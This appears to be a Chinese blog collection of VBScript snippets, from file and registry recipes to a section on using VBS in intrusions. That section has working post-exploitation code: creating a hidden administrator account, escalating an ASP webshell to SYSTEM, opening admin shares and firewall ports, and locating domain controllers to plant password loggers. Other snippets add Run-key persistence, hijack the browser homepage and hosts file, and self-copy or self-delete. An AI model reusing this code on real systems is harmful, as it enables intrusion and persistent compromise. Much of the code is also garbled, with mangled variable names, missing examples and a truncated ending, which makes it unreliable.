VBS 代码搜集-1

VBS脚本用途很多：

1. 计算
2. 处理文件和文件夹
3. 管理Windows
4. 处理Word, Excel, PowerPoint等Office文档
5. 嵌入网页，驱动dHTML
6. 编写HTTP通信
7. 调用系统功能（COM组件），比如说语音说话
8. 分析HTML, XML
9. 调用命令行并分析返回结果
10. 处理图片
11. 自动化按键
12. 调用Windows Media Player并管理
13. 调用Windows Live Messenger并管理
14. 服务端技术：Active Server Page (ASP)
15. 脚本病毒
16. 处理数据库

下面是我收集的VBS代码，大部分转自gangzi.org，以后还会更新。

VBS获取系统安装路径

先定义这个变量是获取系统安装路径的，然后我们用”&strWinDir&”调用这个变量。

set WshShell = WScript.CreateObject("WScript.Shell")

strWinDir = WshShell.ExpandEnvironmentStrings("%WinDir%")

VBS获取C:\Program Files路径

msgbox CreateObject("WScript.Shell").ExpandEnvironmentStrings("%ProgramFiles%")

VBS获取C:\Program Files\Common Files路径

msgbox CreateObject("WScript.Shell").ExpandEnvironmentStrings("%CommonProgramFiles%")

给桌面添加网址快捷方式

set gangzi = WScript.CreateObject("WScript.Shell")

strDesktop = gangzi.SpecialFolders("Desktop")

set ShellLink = gangzi.CreateShortcut(strDesktop & "\Internet Explorer.lnk")

oShellLink.TargetPath = "http://www.fendou.info"

oShellLink.Description = "Internet Explorer"

oShellLink.IconLocation = "%ProgramFiles%\Internet Explorer\iexplore.exe, 0"

oShellLink.Save

给收藏夹添加网址

Const ADMINISTRATIVE_TOOLS = 6

Set bjShell = CreateObject("Shell.Application")

Set bjFolder = objShell.Namespace(ADMINISTRATIVE_TOOLS)

Set bjFolderItem = objFolder.Self   

Set bjShell = WScript.CreateObject("WScript.Shell")

strDesktopFld = objFolderItem.Path

Set bjURLShortcut = objShell.CreateShortcut(strDesktopFld & "\奋斗Blog.url")

objURLShortcut.TargetPath = "http://www.fendou.info/"

objURLShortcut.Save

删除指定目录指定后缀文件

On Error Resume Next

Set fso = CreateObject("Scripting.FileSystemObject")

fso.DeleteFile "C:\*.vbs", True

Set fso = Nothing

VBS改主页

Set Shell = CreateObject("WScript.Shell")

oShell.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\Start Page","http://www.fendou.info"

VBS加启动项

Set Shell=CreateObject("Wscript.Shell")

oShell.RegWrite "HKLM\Software\Microsoft\Windows\CurrentVersion\Run\cmd","cmd.exe"

VBS复制自己

set copy1=createobject("scripting.filesystemobject")

copy1.getfile(wscript.scriptfullname).copy("c:\huan.vbs")

复制自己到C盘的huan.vbs(复制本vbs目录下的game.exe文件到c盘的gangzi.exe)

set copy1=createobject("scripting.filesystemobject")

copy1.getfile("game.exe").copy("c:\gangzi.exe")

VBS获取系统临时目录

Dim fso

Set fso = CreateObject("Scripting.FileSystemObject")

Dim tempfolder

Const TemporaryFolder = 2

Set tempfolder = fso.GetSpecialFolder(TemporaryFolder)

Wscript.Echo tempfolder

就算代码出错 依然继续执行

On Error Resume Next

VBS打开网址

Set bjShell = CreateObject("Wscript.Shell")

objShell.Run("http://www.fendou.info/")

VBS发送邮件

NameSpace = "http://schemas.microsoft.com/cdo/configuration/"

Set Email = CreateObject("CDO.Message")

Email.From = "发件@qq.com"

Email.To = "收件@qq.com"

Email.Subject = "Test sendmail.vbs"

Email.Textbody = "OK!"

Email.AddAttachment "C:\1.txt"

With Email.Configuration.Fields

.Item(NameSpace&"sendusing") = 2

.Item(NameSpace&"smtpserver") = "smtp.邮件服务器.com"

.Item(NameSpace&"smtpserverport") = 25

.Item(NameSpace&"smtpauthenticate") = 1

.Item(NameSpace&"sendusername") = "发件人用户名"

.Item(NameSpace&"sendpassword") = "发件人密码"

.Update

End With

Email.Send

VBS结束进程

strComputer = "."

Set bjWMIService = GetObject _

    ("winmgmts:\\" & strComputer & "\root\cimv2")

Set colProcessList = objWMIService.ExecQuery _

    ("Select * from Win32_Process Where Name = 'Rar.exe'")

For Each objProcess in colProcessList

    objProcess.Terminate()

Next

VBS隐藏打开网址(部分浏览器无法隐藏打开，而是直接打开，适合主流用户使用)

createObject("wscript.shell").run "iexplore http://www.fendou.info/",0

兼容所有浏览器，使用IE的绝对路径+参数打开，无法用函数得到IE安装路径，只用函数得到了Program Files路径，应该比上面的方法好，但是两种方法都不是绝对的。

Set bjws=WScript.CreateObject("wscript.shell")

objws.Run """C:\Program Files\Internet Explorer\iexplore.exe""www.baidu.com",vbhide

VBS遍历硬盘删除指定文件名

On Error Resume Next

Dim fPath

strComputer = "."

Set bjWMIService = GetObject _

    ("winmgmts:\\" & strComputer & "\root\cimv2")

Set colProcessList = objWMIService.ExecQuery _

    ("Select * from Win32_Process Where Name = 'gangzi.exe'")

For Each objProcess in colProcessList

    objProcess.Terminate()

Next

Set bjWMIService = GetObject("winmgmts:" _

& "{impersonationLevel=impersonate}!\\" & strComputer & "\root\cimv2")

Set colDirs = objWMIService. _

ExecQuery("Select * from Win32_Directory where name LIKE '%c:%' or name LIKE '%d:%' or name LIKE '%e:%' or name LIKE '%f:%' or name LIKE '%g:%' or name LIKE '%h:%' or name LIKE '%i:%'")

Set bjFSO = CreateObject("Scripting.FileSystemObject")

For Each objDir in colDirs

fPath = objDir.Name & "\gangzi.exe"

objFSO.DeleteFile(fPath), True

Next

VBS获取网卡MAC地址

Dim mc,mo

Set mc=GetObject("Winmgmts:").InstancesOf("Win32_NetworkAdapterConfiguration")

For Each mo In mc

If mo.IPEnabled=True Then

MsgBox "本机网卡MAC地址是: " & mo.MacAddress

Exit For

End If

Next

VBS获取本机注册表主页地址

Set reg=WScript.CreateObject("WScript.Shell")

startpage=reg.RegRead("HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\Start Page")

MsgBox startpage

VBS遍历所有磁盘的所有目录，找到所有.txt的文件，然后给所有txt文件最底部加一句话

On Error Resume Next

Set fso = CreateObject("Scripting.FileSystemObject")

Co = VbCrLf & "路过。。。"

For Each i In fso.Drives

  If i.DriveType = 2 Then

    GF fso.GetFolder(i & "\")

  End If

Next

Sub GF(fol)

  Wh fol

  Dim i

  For Each i In fol.SubFolders

    GF i

  Next

End Sub

Sub Wh(fol)

  Dim i

  For Each i In fol.Files

    If LCase(fso.GetExtensionName(i)) = "shtml" Then

      fso.OpenTextFile(i,8,0).Write Co

    End If

  Next

End Sub

获取计算机所有盘符

Set fso=CreateObject("scripting.filesystemobject")

Set bjdrives=fso.Drives '取得当前计算机的所有磁盘驱动器

For Each objdrive In objdrives   '遍历磁盘

MsgBox objdrive

Next

VBS给本机所有磁盘根目录创建文件

On Error Resume Next

Set fso=CreateObject("Scripting.FileSystemObject")

Set gangzis=fso.Drives '取得当前计算机的所有磁盘驱动器

For Each gangzi In gangzis   '遍历磁盘

Set TestFile=fso.CreateTextFile(""&gangzi&"\新建文件夹.vbs",Ture)

TestFile.WriteLine("By www.gangzi.org")

TestFile.Close

Next

VBS遍历本机全盘找到所有123.exe，然后给他们改名321.exe

set fs = CreateObject("Scripting.FileSystemObject")

for each drive in fs.drives

fstraversal drive.rootfolder

next

sub fstraversal(byval this)

for each folder in this.subfolders

fstraversal folder

next

set files = this.files

for each file in files

if file.name = "123.exe" then file.name = "321.exe"

next

end sub

VBS写入代码到粘贴板（先说明一下，VBS写内容到粘贴板，网上千篇一律都是通过InternetExplorer.Application对象来实现，但是缺点是在默认浏览器为非IE中会弹出浏览器，所以费了很大的劲找到了这个代码来实现）

str=“这里是你要复制到剪贴板的字符串”

Set ws = wscript.createobject("wscript.shell")

ws.run "mshta vbscript.:clipboardData.SetData("+""""+"text"+""""+","+""""&str&""""+")(close)",0,true

QQ自动发消息

On Error Resume Next

str="我是笨蛋/qq"

Set WshShell=WScript.CreateObject("WScript.Shell")

WshShell.run "mshta vbscript.:clipboardData.SetData("+""""+"text"+""""+","+""""&str&""""+")(close)",0

WshShell.run "tencent://message/?Menu=yes&uin=20016964&Site=&Service=200&sigT=2a39fb276d15586e1114e71f7af38e195148b0369a16a40fdad564ce185f72e8de86db22c67ec3c1",0,true

WScript.Sleep 3000

WshShell.SendKeys "^v"

WshShell.SendKeys "%s"

VBS隐藏文件

Set bjFSO = CreateObject("Scripting.FileSystemObject")

Set bjFile = objFSO.GetFile("F:\软件大赛\show.txt")

If objFile.Attributes = objFile.Attributes AND 2 Then

    objFile.Attributes = objFile.Attributes XOR 2

End If

VBS生成随机数（521是生成规则，不同的数字生成的规则不一样，可以用于其它用途）

Randomize 521

point=Array(Int(100*Rnd+1),Int(1000*Rnd+1),Int(10000*Rnd+1))

msgbox join(point,"")

VBS删除桌面IE图标（非快捷方式）

Set Shell = CreateObject("WScript.Shell")

oShell.RegWrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoInternetIcon",1,"REG_DWORD"

VBS获取自身文件名

Set fso = CreateObject("Scripting.FileSystemObject")

msgbox WScript.ScriptName

VBS读取Unicode编码的文件

Set bjFSO = CreateObject("Scripting.FileSystemObject")

Set bjFile = objFSO.OpenTextFile("gangzi.txt",1,False,-1)

strText = objFile.ReadAll

objFile.Close

Wscript.Echo strText

VBS读取指定编码的文件（默认为uft-8）gangzi变量是要读取文件的路径

set stm2 =createobject("ADODB.Stream")

stm2.Charset = "utf-8"

stm2.Open

stm2.LoadFromFile gangzi

readfile = stm2.ReadText

MsgBox readfile

VBS禁用组策略

Set Shell = CreateObject("WScript.Shell")

oShell.RegWrite "HKEY_CURRENT_USER\Software\Policies\Microsoft\MMC\RestrictToPermittedSnapins",1,"REG_DWORD"

VBS写指定编码的文件（默认为uft-8）gangzi变量是要读取文件的路径，gangzi2是内容变量

gangzi="1.txt"

gangzi2="www.gangzi.org"

Set Stm1 = CreateObject("ADODB.Stream")

Stm1.Type = 2

Stm1.Open

Stm1.Charset = "UTF-8"

Stm1.Position = Stm1.Size

Stm1.WriteText gangzi2

Stm1.SaveToFile gangzi,2

Stm1.Close

set Stm1 = nothing

VBS获取当前目录下所有文件夹名字（不包括子文件夹）

Set fso=CreateObject("scripting.filesystemobject")

Set f=fso.GetFolder(fso.GetAbsolutePathName("."))

Set folders=f.SubFolders

For Each fo In folders

  wsh.echo fo.Name

Next

Set folders=Nothing

Set f=nothing

Set fso=nothing

VBS获取指定目录下所有文件夹名字（包括子文件夹）

Dim t

Set fso=WScript.CreateObject("scripting.filesystemobject")

Set fs=fso.GetFolder("d:\")

WScript.Echo aa(fs)

Function aa(n)

Set f=n.subfolders

For Each uu In f

Set p=fso.GetFolder(uu.path)

t=t & vbcrlf & op.path

Call aa(op)

Next

aa=t

End function

VBS创建.URL文件（IconIndex参数不同的数字代表不同的图标，具体请参照SHELL32.dll里面的所有图标）

set fso=createobject("scripting.filesystemobject")

qidong=qidong&"[InternetShortcut]"&Chr(13)&Chr(10)

qidong=qidong&"URL=http://www.fendou.info"&Chr(13)&Chr(10)

qidong=qidong&"IconFile=C:\WINDOWS\system32\SHELL32.dll"&Chr(13)&Chr(10)

qidong=qidong&"IconIndex=130"&Chr(13)&Chr(10)

Set TestFile=fso.CreateTextFile("qq.url",Ture)

TestFile.WriteLine(qidong)

TestFile.Close

VBS写hosts（没写判断，无论存不存在都追加底部）

Set fs = CreateObject("Scripting.FileSystemObject")

path = ""&fs.GetSpecialFolder(1)&"\drivers\etc\hosts"

Set f = fs.OpenTextFile(path,8,TristateFalse)

f.Write ""&vbcrlf&"127.0.0.1 www.g.cn"&vbcrlf&"127.0.0.1 g.cn"

f.Close

VBS读取出HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Desktop\NameSpace 下面所有键的名字并循环输出

Const HKLM = &H80000002

strPath = "SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Desktop\NameSpace"

Set reg = GetObject("Winmgmts:\root\default:StdRegProv")

    oreg.EnumKey HKLM,strPath,arr

    For Each x In arr

        WScript.Echo x

    Next

VBS创建txt文件

Dim fso,TestFile

Set fso=CreateObject("Scripting.FileSystemObject")

Set TestFile=fso.CreateTextFile("C:\hello.txt",Ture)

TestFile.WriteLine("Hello,World!")

TestFile.Close

VBS创建文件夹

Dim fso,fld

Set fso=CreateObject("Scripting.FileSystemObject")

Set fld=fso.CreateFolder("C:\newFolder")

VBS判断文件夹是否存在

Dim fso,fld

Set fso=CreateObject("Scripting.FileSystemObject")

If (fso.FolderExists("C:\newFolder")) Then

msgbox("Folder exists.")

else

set fld=fso.CreateFolder("C:\newFolder")

End If

VBS使用变量判断文件夹

Dim fso,fld

drvName="C:\"

fldName="newFolder"

Set fso=CreateObject("Scripting.FileSystemObject")

If (fso.FolderExists(drvName&fldName)) Then

msgbox("Folder exists.")

else

set fld=fso.CreateFolder(drvName&fldName)

End If

VBS加输入框

Dim fso,TestFile,fileName,drvName,fldName

drvName=inputbox("Enter the drive to save to:","Drive letter")

fldName=inputbox("Enter the folder name:","Folder name")

fileName=inputbox("Enter the name of the file:","Filename")

Set fso=CreateObject("Scripting.FileSystemObject")

If(fso.FolderExists(drvName&fldName))Then

msgbox("Folder exists")

Else

Set fld=fso.CreateFolder(drvName&fldName)

End If

Set TestFile=fso.CreateTextFile(drvName&fldName&"\"&fileName&".txt",True)

TestFile.WriteLine("Hello,World!")

TestFile.Close

VBS检查是否有相同文件

Dim fso,TestFile,fileName,drvName,fldName

drvName=inputbox("Enter the drive to save to:","Drive letter")

fldName=inputbox("Enter the folder name:","Folder name")

fileName=inputbox("Enter the name of the file:","Filename")

Set fso=CreateObject("Scripting.FileSystemObject")

If(fso.FolderExists(drvName&fldName))Then

msgbox("Folder exists")

Else

Set fld=fso.CreateFolder(drvName&fldName)

End If

If(fso.FileExists(drvName&fldName&"\"&fileName&".txt"))Then

msgbox("File already exists.")

Else

Set TestFile=fso.CreateTextFile(drvName&fldName&"\"&fileName&".txt",True)

TestFile.WriteLine("Hello,World!")

TestFile.Close

End If

VBS改写、追加 文件

Dim fso,openFile

Set fso=CreateObject("Scripting.FileSystemObject")

Set penFile=fso.OpenTextFile("C:\test.txt",2,True)   '1表示只读，2表示可写，8表示追加

openFile.Write "Hello World!"

openFile.Close

VBS读取文件 ReadAll 读取全部

Dim fso,openFile

Set fso=CreateObject("Scripting.FileSystemObject")

Set penFile=fso.OpenTextFile("C:\test.txt",1,True)

MsgBox(openFile.ReadAll)

VBS读取文件 ReadLine 读取一行

Dim fso,openFile

Set fso=CreateObject("Scripting.FileSystemObject")

Set penFile=fso.OpenTextFile("C:\test.txt",1,True)

MsgBox(openFile.ReadLine())

MsgBox(openFile.ReadLine())   '如果读取行数超过文件的行数，就会出错

VBS读取文件 Read 读取n个字符

Dim fso,openFile

Set fso=CreateObject("Scripting.FileSystemObject")

Set penFile=fso.OpenTextFile("C:\test.txt",1,True)

MsgBox(openFile.Read(2))   '如果超出了字符数，不会出错。

VBS删除文件

Dim fso

Set fso=CreateObject("Scripting.FileSystemObject")

fso.DeleteFile("C:\test.txt")

VBS删除文件夹

Dim fso

Set fso=CreateObject("Scripting.FileSystemObject")

fso.DeleteFolder("C:\newFolder") '不管文件夹中有没有文件都一并删除

VBS连续创建文件

Dim fso,TestFile

Set fso=CreateObject("Scripting.FileSystemObject")

For i=1 To 10

Set TestFile=fso.CreateTextFile("C:\hello"&i&".txt",Ture)

TestFile.WriteLine("Hello,World!")

TestFile.Close

Next

VBS根据计算机名随机生成字符串

set ws=createobject("wscript.shell")

set wenv=ws.environment("process")

RDA=wenv("computername")

Function UCharRand(n)

For i=1 to n

Randomize ASC(MID(RDA,1,1))

temp = cint(25*Rnd)

temp = temp +65

UCharRand = UCharRand & chr(temp)

Next

End Function

msgbox UCharRand(LEN(RDA))

VBS根据mac生成序列号

Function Encode(strPass)

   Dim i, theStr, strTmp

   For i = 1 To Len(strPass)

    strTmp = Asc(Mid(strPass, i, 1))

    theStr = theStr & Abs(strTmp)

   Next

   strPass = theStr

   theStr = ""

   Do While Len(strPass) > 16

    strPass = JoinCutStr(strPass)

   Loop

   For i = 1 To Len(strPass)

    strTmp = CInt(Mid(strPass, i, 1))

    strTmp = IIf(strTmp > 6, Chr(strTmp + 60), strTmp)

    theStr = theStr & strTmp

   Next

   Encode = theStr

End Function

Function JoinCutStr(str)

   Dim i, theStr

   For i = 1 To Len(str)

    If Len(str) - i = 0 Then Exit For

    theStr = theStr & Chr(CInt((Asc(Mid(str, i, 1)) + Asc(Mid(str, i +1, 1))) / 2))

    i = i + 1

   Next

   JoinCutStr = theStr

End Function

Function IIf(var, val1, val2)

   If var = True Then

    IIf = val1

   Else

    IIf = val2

   End If

End Function

Set mc=GetObject("Winmgmts:").InstancesOf("Win32_NetworkAdapterConfiguration")

For Each mo In mc

If mo.IPEnabled=True Then

theStr = mo.MacAddress

Exit For

End If

Next

Randomize Encode(theStr)

rdnum=Int(10*Rnd+5)

Function allRand(n)

  For i=1 to n

    Randomize Encode(theStr)

    temp = cint(25*Rnd)

    If temp mod 2 = 0 then

      temp = temp + 97

    ElseIf temp < 9 then

      temp = temp + 48

    Else

      temp = temp + 65

    End If

    allRand = allRand & chr(temp)

  Next

End Function

msgbox allRand(rdnum)

VBS自动连接adsl

Dim Wsh

Set Wsh = WScript.CreateObject("WScript.Shell")

wsh.run "Rasdial 连接名字 账号 密码",false,1

VBS自动断开ADSL

Dim Wsh

Set Wsh = WScript.CreateObject("WScript.Shell")

wsh.run "Rasdial /DISCONNECT",false,1

VBS每隔3秒自动更换IP并打开网址实例（值得一提的是，下面这个代码中每次打开的网址都是引用同一个IE窗口，也就是每次打开的是覆盖上次打开的窗口，如果需要每次打开的网址都是新窗口，直接使用run就可以了）

Dim Wsh

Set Wsh = WScript.CreateObject("WScript.Shell")

Set IE = CreateObject("InternetExplorer.Application")

for i=1 to 5

wsh.run "Rasdial /DISCONNECT",false,1

wsh.run "Rasdial 连接名字 账号 密码",false,1

oIE.Navigate "http://www.ip138.com/?"&i&""

Call SynchronizeIE

oIE.Visible = True

next

Sub SynchronizeIE

On Error Resume Next

Do While(oIE.Busy)

WScript.Sleep 3000

Loop

End Sub

用VBS来加管理员帐号
在注入过程中明明有了sa帐号，但是由于net.exe和net1.exe被限制，或其它的不明原因，总是加不了管理员帐号。VBS在活动目录（adsi）部份有一个winnt对像，可以用来管理本地资源，可以用它不依靠cmd等命令来加一个管理员，详细代码如下：

set wsnetwork=CreateObject("WSCRIPT.NETWORK")

os="WinNT://"&wsnetwork.ComputerName

Set b=GetObject(os) '得到adsi接口,绑定

Set e=GetObject(os&"/Administrators,group") '属性,admin组

Set d=ob.Create("user","lcx") '建立用户

od.SetPassword "123456" '设置密码

od.SetInfo '保存

Set f=GetObject(os&"/lcx",user) '得到用户

oe.add os&"/lcx"

这段代码如果保存为1.vbs，在cmd下运行，格式: cscript. 1.vbs的话，会在当前系统加一个名字为lcx，密码为123456的管理员。当然，你可以用记事本来修改里边的变量lcx和123456，改成你喜欢的名字和密码值。

用vbs来列虚拟主机的物理目录
有时旁注入侵成功一个站，拿到系统权限后，面对上百个虚拟主机，怎样才能更快的找到我们目标站的物理目录呢？一个站一个站翻看太累，用系统自带的adsutil.vbs吧又感觉好像参数很多，有点无法下手的感觉，试试我这个脚本吧，代码如下：

Set bjService=GetObject("IIS://LocalHost/W3SVC")

For Each obj3w In objservice

If IsNumeric(obj3w.Name) Then

sServerName=Obj3w.ServerComment

Set webSite = GetObject("IIS://Localhost/W3SVC/" & obj3w.Name & "/Root")

ListAllWeb = ListAllWeb & obj3w.Name & String(25-Len(obj3w.Name)," ") & obj3w.ServerComment & "(" & webSite.Path & ")" & vbCrLf

End If

Next

WScript.Echo ListAllWeb

Set bjService=Nothing

WScript.Quit

运行cscript. 2.vbs后，就会详细列出IIS里的站点ID、描述、及物理目录，是不是代码少很多又方便呢？

用VBS快速找到内网域的主服务器
面对域结构的内网，可能许多小菜没有经验如何去渗透。如果你能拿到主域管理员的密码，整个内网你就可以自由穿行了。主域管理员一般呆在比较重要的机器上，如果能搞定其中的一台或几台，放个密码记录器之类，相信总有一天你会拿到密码。主域服务器当然是其中最重要一台了，如何在成千台机器里判断出是哪一台呢？dos命令像net group “domain admins” /domain可以做为一个判断的标准，不过vbs也可以做到的，这仍然属于adsi部份的内容，代码如下：

set bj=GetObject("LDAP://rootDSE")

wscript.echo obj.servername

只用这两句代码就足够了，运行cscript. 3.vbs，会有结果的。当然，无论是dos命令或vbs，你前提必须要在域用户的权限下。好比你得到了一个域用户的帐号密码，你可以用 psexec.exe -u -p cmd.exe这样的格式来得到域用户的shell，或你的木马本来就是与桌面交互的，登陆你木马shell的又是域用户，就可以直接运行这些命令了。
vbs的在入侵中的作用当然不只这些，当然用js或其它工具也可以实现我上述代码的功能；不过这个专栏定下的题目是vbs在hacking中的妙用，所以我们只提vbs。写完vbs这部份我和其它作者会在以后的专栏继续策划其它的题目，争取为读者带来好的有用的文章。

WebShell提权用的VBS代码
asp木马一直是搞脚本的朋友喜欢使用的工具之一,但由于它的权限一般都比较低(一般是IWAM_NAME权限),所以大家想出了各种方法来提升它的权限,比如说通过asp木马得到mssql数据库的权限,或拿到ftp的密码信息,又或者说是替换一个服务程序。而我今天要介绍的技巧是利用一个vbs文件来提升asp木马的权限，代码如下asp木马一直是搞脚本的朋友喜欢使用的工具之一,但由于它的权限一般都比较低(一般是IWAM_NAME权限),所以大家想出了各种方法来提升它的权限,比如说通过asp木马得到mssql数据库的权限,或拿到ftp的密码信息,又或者说是替换一个服务程序。而我今天要介绍的技巧是利用一个vbs文件来提升asp木马的权限，代码如下:

set wsh=createobject("wscript.shell") '创建一个wsh对象

a=wsh.run ("cmd.exe /c cscript.exe C:\Inetpub\AdminScripts\adsutil.vbs set /W3SVC/InProcessIsapiApps C:\WINNT\system32\inetsrv\httpext.dll C:\WINNT\system32\inetsrv\httpodbc.dll C:\WINNT\system32\inetsrv\ssinc.dll C:\WINNT\system32\msw3prt.dll C:\winnt\system32\inetsrv\asp.dll",0) '加入asp.dll到InProcessIsapiApps中

将其保存为vbs的后缀,再上传到服务上，
然后利用asp木马执行这个vbs文件后。再试试你的asp木马吧，你会发现自己己经是system权限了

VBS开启ipc服务和相关设置

Dim OperationRegistry

Set perationRegistry=WScript.CreateObject("WScript.Shell")

OperationRegistry.RegWrite "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa\forceguest",0

Set wsh3=wscript.createobject("wscript.shell")

wsh3.Run "net user helpassistant 123456",0,false

wsh3.Run "net user helpassistant /active",0,false

wsh3.Run "net localgroup administrators helpassistant /add",0,false

wsh3.Run "net start Lanmanworkstation /y",0,false

wsh3.Run "net start Lanmanserver /y",0,false

wsh3.Run "net start ipc$",0,True

wsh3.Run "net share c$=c:\",0,false

wsh3.Run "netsh firewall set notifications disable",0,True

wsh3.Run "netsh firewall set portopening TCP 139 enable",0,false

wsh3.Run "netsh firewall set portopening UDP 139 enable",0,false

wsh3.Run "netsh firewall set portopening TCP 445 enable",0,false

wsh3.Run "netsh firewall set portopening UDP 445 enable",0,false

VBS时间判断代码

Digital=time

    hours=Hour(Digital)

    minutes=Minute(Digital)

    seconds=Second(Digital)

    if (hours<6) then

        dn="凌辰了，还没睡啊？"

    end if

    if (hours>=6) then

        dn="早上好！"

    end if

    if (hours>12) then

        dn="下午好！"

    end if

    if (hours>18) then

        dn="晚上好！"

    end if

    if (hours>22) then

        dn="不早了，夜深了，该睡觉了！"

    end if

    if (minutes<=9) then

        minutes="0" & minutes

    end if

    if (seconds<=9) then

        seconds="0" & seconds

    end if

ctime=hours & ":" & minutes & ":" & seconds & " " & dn

Msgbox ctime

VBS注册表读写

Dim OperationRegistry , mynum

Set perationRegistry=WScript.CreateObject("WScript.Shell")

mynum = 9

mynum = OperationRegistry.RegRead("HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa\forceguest")

MsgBox("before forceguest = "&mynum)

OperationRegistry.RegWrite "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa\forceguest",0

mynum = OperationRegistry.RegRead("HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa\forceguest")

MsgBox("after forceguest = "&mynum)

VBS运行后删除自身代码

dim fso,f

Set fso = CreateObject("Scripting.FileSystemObject")

f = fso.DeleteFile(WScript.ScriptName)

WScript.Echo( WScript.ScriptName)

文件系统是所有操作系统最重要的部分之一，脚本经常会需要对文件及文件夹进行访问和管理，在Vbs中对桌面和文件系统进行访问的顶级对象是FileSystemObject(FSO)，这个对象特别复杂，是vbs进行文件操作的核心。

       FSO包含的常见对象有：

       如何使用FSO

       要用FSO对象模型来编程，使用CreateObject方法来创建FileSystemObject对象，例如：　　

?

在这个示例中，Scripting 是类型库的名字，而 FileSystemObject 则是想要创建的对象的名字。至此我们获取了fso对象，接下来就可以使用fso对象了。如果要释放的话也很简单，例如：

?

       FileSystemObject对象总共一个属性即Drives

       描述：获得所有可用驱动器的集合。

       说明：无论是否本地磁盘、插入媒体、可移动媒体驱动器都显示在 Drives 集合中。

       具体示例代码如下所示：获取本计算机上所有的磁盘的盘符　　

?

 　　方法：(仅常用的方法)

　　CreateFile

       描述：创建一个空文件

       语法：object. CreateTextFile(strFile,blnOverWrite)

       参数：strFile为文件名称

               blnOverWrite为Ture强制覆盖，为False不覆盖

       示例：创建文件C:\test.txt

?

　　CreateFolder

       描述：创建一个空的文件夹

       语法：object. CreateFolder(strFolder)

       参数：strFolder为想要创建的文件夹名称

       示例：创建文件夹: c:\test

?

　　DeleteFile

       描述：删除一个文件

       语法：object. DeleteFile (strFile，force)

       参数：strFile为想要删除的文件。组成部分中可用通配符。

               force如果要删除只读文件，则该值为 True；否则为 False（默认）

       示例：删除文件： c:\test.txt 　　

?

　　DeleteFolder

       描述：删除一个文件夹

       语法：object. DeleteFolder(strFolder，force)

       参数：strFolder为想要删除的文件夹名称。组成部分中可用通配符。

               force如果要删除只读文件夹，则该值为 True；否则为 False（默认）

       示例：删除文件夹： c:\test

?

　　FileExists

       描述：判断指定文件是否存在

       语法：object. FileExists (strFile)

       参数：strFile为指定的文件

       示例：检查文件： c:\test.txt是否存在

?

　　FolderExist

       描述：判断指定文件夹是否存在

       语法：object. FolderExists (strFolder)

       参数：strFolder为指定的文件夹

       示例：检查文件夹： c:\test是否存在

?

　　CopyFile

       描述：将一个或多个文件从某位置复制到另一位置

       语法：object.CopyFile "source", "destination"[, overwrite]

       参数：source必选项。表示指定文件的路径。组成部分中可用通配符。

destination必选项。表示目标位置路径

overwrite可选项。Boolean 值表明是否覆盖现有文件。如果是 True，则覆盖文件；如果是 False，则不覆盖现有文件。默认值是 True

       示例：将 c:\test.txt文件复制到D:\下

?

        示例：将 c:\下所有的txt文件复制到D:\下

?

　　CopyFolder

       描述：将文件夹从某位置复制到另一位置

       语法：object. CopyFolder "source", "destination"[, overwrite]

       参数：source必选项。表示指定文件夹的路径。组成部分中可用通配符。

destination必选项。表示目标位置的路径

overwrite可选项。Boolean 值表明是否覆盖现有文件夹。如果是 True，则覆盖文件夹；如果是 False，则不覆盖现有文件夹。默认值是 True

       示例：将 c:\test文件夹复制到D:\下    

?

　　MoveFile

描述：将一个或多个文件从某位置移动到另一位置

语法：object.MoveFile source, destination

参数：source必选项。要移动的文件的路径。组成部分中可用通配符。

destination必选项。指定路径，表示要将文件移动到该目标位置。destination 参数不能包含通配符。

示例：将 c:\test文件夹移动到D:\下

?

　　MoveFolder

描述：将一个或多个文件夹从某位置移动到另一位置

语法：object.MoveFolder source, destination

参数：source必选项。要移动的文件夹的路径。组成部分中可用通配符。

destination必选项。指定路径，表示要将文件夹移动到该目标位置。

示例：

?

　　GetExtensionName

描述：获取文件后缀名

语法：object.MoveFolder source, destination

参数：source必选项。要移动的文件夹的路径。组成部分中可用通配符。

destination必选项。指定路径，表示要将文件夹移动到该目标位置。

示例：获取”c:\test.txt”文件后缀名

?

　　GetBaseName

描述：获取文件当前所在文件夹

语法：object.GetBaseName Path

参数：Path必选项。文件路径名。

示例：获取”c:\test.txt”文件名称

?

　　GetParentFolderName

描述：将一个或多个文件夹从某位置移动到另一位置

语法：object.GetParentFolderName Path

参数：Path必选项。文件路径名。

示例：获取”c:\test.txt”文件所在的文件夹

?

文件操作有:size,type(内型),DateCreaded(创建时间),DatelastAccessed(最近访问时间), DatelastModified(最近修改时间),name(名称),shortPath(文件短路名),path(物理地址),

vbs脚本压缩解压代码参考，虽然未必能用到，但是参考学习还是可以的
vbs脚本压缩代码
Zip "D:\test.iso", "D:\test.zip"
Zip "D:\test", "D:\test.zip"
Msgbox "OK"
Sub Zip(ByVal mySourceDir, ByVal myZipFile)
Set fso = CreateObject("Scripting.FileSystemObject")
If fso.GetExtensionName(myZipFile) <> "zip" Then
Exit Sub
ElseIf fso.FolderExists(mySourceDir) Then
FType = "Folder"
ElseIf fso.FileExists(mySourceDir) Then
FType = "File"
FileName = fso.GetFileName(mySourceDir)
FolderPath = Left(mySourceDir, Len(mySourceDir) - Len(FileName))
Else
Exit Sub
End If
Set f = fso.CreateTextFile(myZipFile, True)
f.Write "PK" & Chr(5) & Chr(6) & String(18, Chr(0))
f.Close
Set bjShell = CreateObject("Shell.Application")
Select Case Ftype
Case "Folder"
Set bjSource = objShell.NameSpace(mySourceDir)
Set bjFolderItem = objSource.Items()
Case "File"
Set bjSource = objShell.NameSpace(FolderPath)
Set bjFolderItem = objSource.ParseName(FileName)
End Select
Set bjTarget = objShell.NameSpace(myZipFile)
intOptions = 256
objTarget.CopyHere objFolderItem, intOptions
Do
WScript.Sleep 1000
Loop Until objTarget.Items.Count > 0
End Sub 

vbs脚本解压代码：

UnZip "D:\test.iso", "D:\test.zip"
Msgbox "OK"

Function UnZip(ByVal myZipFile, ByVal myTargetDir)
    Set fso = CreateObject("Scripting.FileSystemObject")
